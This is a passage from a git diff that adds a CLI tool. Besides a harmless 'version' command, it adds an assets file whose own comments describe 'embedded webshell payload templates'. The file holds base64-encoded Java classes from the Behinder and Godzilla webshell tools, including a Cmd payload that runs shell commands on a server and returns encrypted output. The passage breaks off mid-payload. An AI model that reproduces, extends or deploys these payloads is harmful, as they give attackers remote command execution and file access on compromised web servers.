url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : undefined, + error: result.error, + meta: { localPath, remotePath, bytes: result.bytes }, + }); + + printResult(result, localPath, savedAs, opts.json); + if (!result.ok) process.exitCode = 1; + }); +} diff --git a/tools/cli/src/commands/version.ts b/tools/cli/src/commands/version.ts new file mode 100644 index 00000000..32d0cac9 --- /dev/null +++ b/tools/cli/src/commands/version.ts @@ -0,0 +1,40 @@ +import { Command } from "commander"; + +import { createClient, type GlobalOptions } from "../cli-context.js"; +import { CLI_VERSION } from "../version.js"; + +interface VersionCmdOptions extends GlobalOptions { + json?: boolean; +} + +export function registerVersionCommand(program: Command): void { + program + .command("version") + .description("Show CLI version and the backend server version") + .option("--json", "output raw JSON") + .action(async (opts: VersionCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + let server: Awaited<ReturnType<typeof client.getVersion>> | { error: string }; + try { + server = await client.getVersion(); + } catch (err) { + server = { error: (err as Error).message }; + } + + if (opts.json) { + process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\n`); + return; + } + + const lines = [`CLI: ${CLI_VERSION}`]; + if ("error" in server) { + lines.push(`Server: (unavailable) ${server.error}`); + } else { + lines.push(`Server: ${server.currentVersion}`); + if (server.hasUpdate) { + lines.push(`Update: ${server.latestVersion} available`); + } + } + process.stdout.write(`${lines.join("\n")}\n`); + }); +} diff --git a/tools/cli/src/connect/assets.ts b/tools/cli/src/connect/assets.ts new file mode 100644 index 00000000..72d71c81 --- /dev/null +++ b/tools/cli/src/connect/assets.ts @@ -0,0 +1,992 @@ +/** + * Embedded webshell payload templates, base64-encoded so the bundled CLI + * stays self-contained (no runtime asset files to resolve). + * + * Regenerate from the binaries in src/connect/assets/ with: + * node scratch/connect-work/gen-assets.cjs + * + * Source binaries live in src/connect/assets/: + * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 — + * the payload the Behinder client uploads for its echo/connect test. + * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 — + * the payload the Behinder client uploads for command execution (its + * static `cmd` field is filled client-side before upload). + * - FileOperation.class: net.rebeyond.behinder.payload.java.FileOperation + * from Behinder v4.1 — the payload for file transfer (static fields + * mode/path/content/blockIndex/blockSize filled client-side). + * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from + * godzilla.jar — the payload class uploaded on Godzilla connect. + */ + +const ECHO_CLASS_B64 = + "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA" + + "vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi" + + "AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe" + + "CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA" + + "8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK" + + "AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0" + + "AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i" + + "ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F" + + "Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0" + + "aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh" + + "cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T" + + "dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j" + + "cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv" + + "cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv" + + "TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0" + + "cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM" + + "amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7" + + "KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2" + + "NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl" + + "cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG" + + "cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls" + + "L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1" + + "dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV" + + "DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA" + + "EGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMM" + + "AGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8v" + + "Qnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEu" + + "dmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIB" + + "MwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApn" + + "ZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNv" + + "ZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9U" + + "aHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRp" + + "bC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRv" + + "cgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xh" + + "c3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNz" + + "OylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9s" + + "YW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcv" + + "U3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5n" + + "AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0" + + "by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkB" + + "ABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEA" + + "BmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEv" + + "dXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMo" + + "KVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2Jq" + + "ZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEA" + + "B2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzsp" + + "TGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEv" + + "bGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB" + + "ABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEA" + + "YQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwAB" + + "sQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIG" + + "uQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kD" + + "KiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEv" + + "TiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70AD7YAEE4ttgALEhEEvQANWQMSElO2AA46BBkE" + + "LQS9AA9ZAyoqLAS3ABMSFLYAFbcAFlO2ABBXLbYACxIXA70ADbYADi0DvQAPtgAQVy22AAsSGAO9AA22AA4tA70AD7YAEFenAJpO" + + "LbYAGqcAkjoFKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQOgYZBrYACxIRBL0ADVkDEhJTtgAOOgcZBxkGBL0AD1kDKiosBLcA" + + "ExIUtgAVtwAWU7YAEFcZBrYACxIXA70ADbYADhkGA70AD7YAEFcZBrYACxIYA70ADbYADhkGA70AD7YAEFenAAo6BhkGtgAaGQW/" + + "BKwABwAkAJ0AoAAZAAgAJACoABkAwQE6AT0AGQAIACQBRQAAAKgAwQFFAAABRwHHAcoAGQFFAUcBRQAAAAQAbAAAAJIAJAAAABgA" + + "CAAaAA0AGwAYABwAJAAyAEAAMwBUADQAcQA3AIcAOACdAD8AoAA7AKEAPgClAEAAqAAdAKkAHwC2ACAAwQAyAN0AMwDxADQBDgA3" + + "ASQAOAE6AD8BPQA7AT4APgFCAEABRQAmAUcAMgFkADMBeQA0AZcANwGvADgBxwA/AcoAOwHMAD4B0QBAAdQAQQBtAAAAhAANAEAA" + + "XQByAGYAAwBUAEkAcwB0AAQAoQAEAHUAdgADAKkAGAB1AHYAAwDdAF0AcgBmAAMA8QBJAHMAdAAEAT4ABAB1AHYAAwFkAGMAcgBm" + + "AAYBeQBOAHMAdAAHAcwABQB1AHYABgAAAdYAbgBvAAAAAAHWAHcAZgABAAgBzgB4AHkAAgB6AAAADAABAAgBzgB4AHsAAgB8AAAA" + + "PwAH/wCgAAMHAGEHAA8HAEsAAQcAGUcHABn3AJQHABlHBwBV/wCEAAYHAGEHAA8HAEsAAAcAVQABBwAZBvgAAgACAH0AfgACAGsA" + + "AAEAAAYACAAAAHAqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTSwSIbYAFU67ACJZLRIjtwAkOgQSJbgA" + + "JjoFGQUEGQS2ACgZBSu2ACk6BrsAKlm3ACs6BxkHGQa2ACwqGQe2AC23AC62AC+wAAAAAgBsAAAAJgAJAAAARwApAEgAMABJADwA" + + "SgBDAEsASwBMAFMATQBcAE4AYwBQAG0AAABSAAgAAABwAG4AbwAAAAAAcAB/AIAAAQApAEcAgQBjAAIAMABAAIIAgAADADwANACD" + + "AIQABABDAC0AhQCGAAUAUwAdAIcAgAAGAFwAFACIAIkABwCKAAAABAABABkAAgCLAIwAAwBrAAABdwADAAgAAACmuwAwWbcAMU4S" + + "MrgAMzoELRI0tgA1Vyu5ADYBALkANwEAOgUZBbkAOAEAmQBaGQW5ADkBAMAAHjoGLbsAMFm3ADESOrYANRkGtgA1Eju2ADW2ADy2" + + "ADVXKxkGuQA9AgDAAB46BxyZAA4qGQe2AC+3AC46By0ZB7YANVctEj62ADVXp/+iLbYAPBI/tgBAmQANLS22AEEEZLYAQi0SQ7YA" + + "NVcttgA8sAAAAAQAbAAAAD4ADwAAAFUACABWAA8AVwAWAFgAOQBaAFcAWwBkAFwAaABeAHMAYgB6AGMAgQBkAIQAZQCQAGYAmgBn" + + "AKEAaABtAAAASAAHAGQAHQCNAGMABwA5AEgAgQBjAAYAAACmAG4AbwAAAAAApgCOAHkAAQAAAKYAjwCQAAIACACeAJEAkgADAA8A" + + "lwCTAGMABAB6AAAADAABAAAApgCOAHsAAQB8AAAAGwAE/gAjBwAwBwAeBwCU/QBPBwAeBwAe+AAQFQCKAAAABAABABkAlQAAAAIA" + + "lgACAJcAmAACAGsAAAEtAAYAAwAAAK0rtgALtgBEEkW2AEabAFEqK7YACxJHA70ADbYADisDvQAPtgAQtQBIKiu2AAsSSQO9AA22" + + "AA4rA70AD7YAELUACiortgALEkoDvQANtgAOKwO9AA+2ABC1ABynACwrwABLTSosEky5AD0CALUAHCosEk25AD0CALUACiosEk65" + + "AD0CALUASCq0AAq2AAsSTwS9AA1ZAxIeU7YADiq0AAoEvQAPWQMSFFO2ABBXsQAAAAQAbAAAACoACgAAAGsADwBtACgAbgBBAG8A" + + "XQBzAGIAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZ" + + "AJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYA" + + "Di0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9" + + "AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAK" + + "AIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYA" + + "BgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUH" + + "AGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAAc" + + "tgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIA" + + "FhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAG" + + "AEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcA" + + "YQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA=="; + +const CMD_CLASS_B64 = + "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDf" + + "BwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goA" + + "JwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEF" + + "CAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBG" + + "ARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgL" + + "AMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkH" + + "AToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBh" + + "dGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24B" + + "AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQv" + + "cmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEA" + + "BXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVz" + + "dWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcv" + + "U3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzsp" + + "TGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVy" + + "OwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNy" + + "eXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtl" + + "eVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFy" + + "cmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0" + + "AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVp" + + "bGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFa" + + "AQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xh" + + "bmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9s" + + "YW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0" + + "Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1" + + "ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6" + + "AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZh" + + "L2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhj" + + "ZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEA" + + "B3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1j" + + "AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEA" + + "F2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04" + + "AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEA" + + "E2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACw" + + "ALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmlu" + + "ZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwM" + + "AX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdl" + + "Q29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNz" + + "aW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1Jh" + + "bmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hh" + + "cnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9P" + + "YmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNz" + + "OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01l" + + "dGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcv" + + "T2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdl" + + "AQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZh" + + "L2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5k" + + "ZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu" + + "Zy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJl" + + "YW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFy" + + "c2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2" + + "YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylW" + + "AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZh" + + "L3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2" + + "YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcv" + + 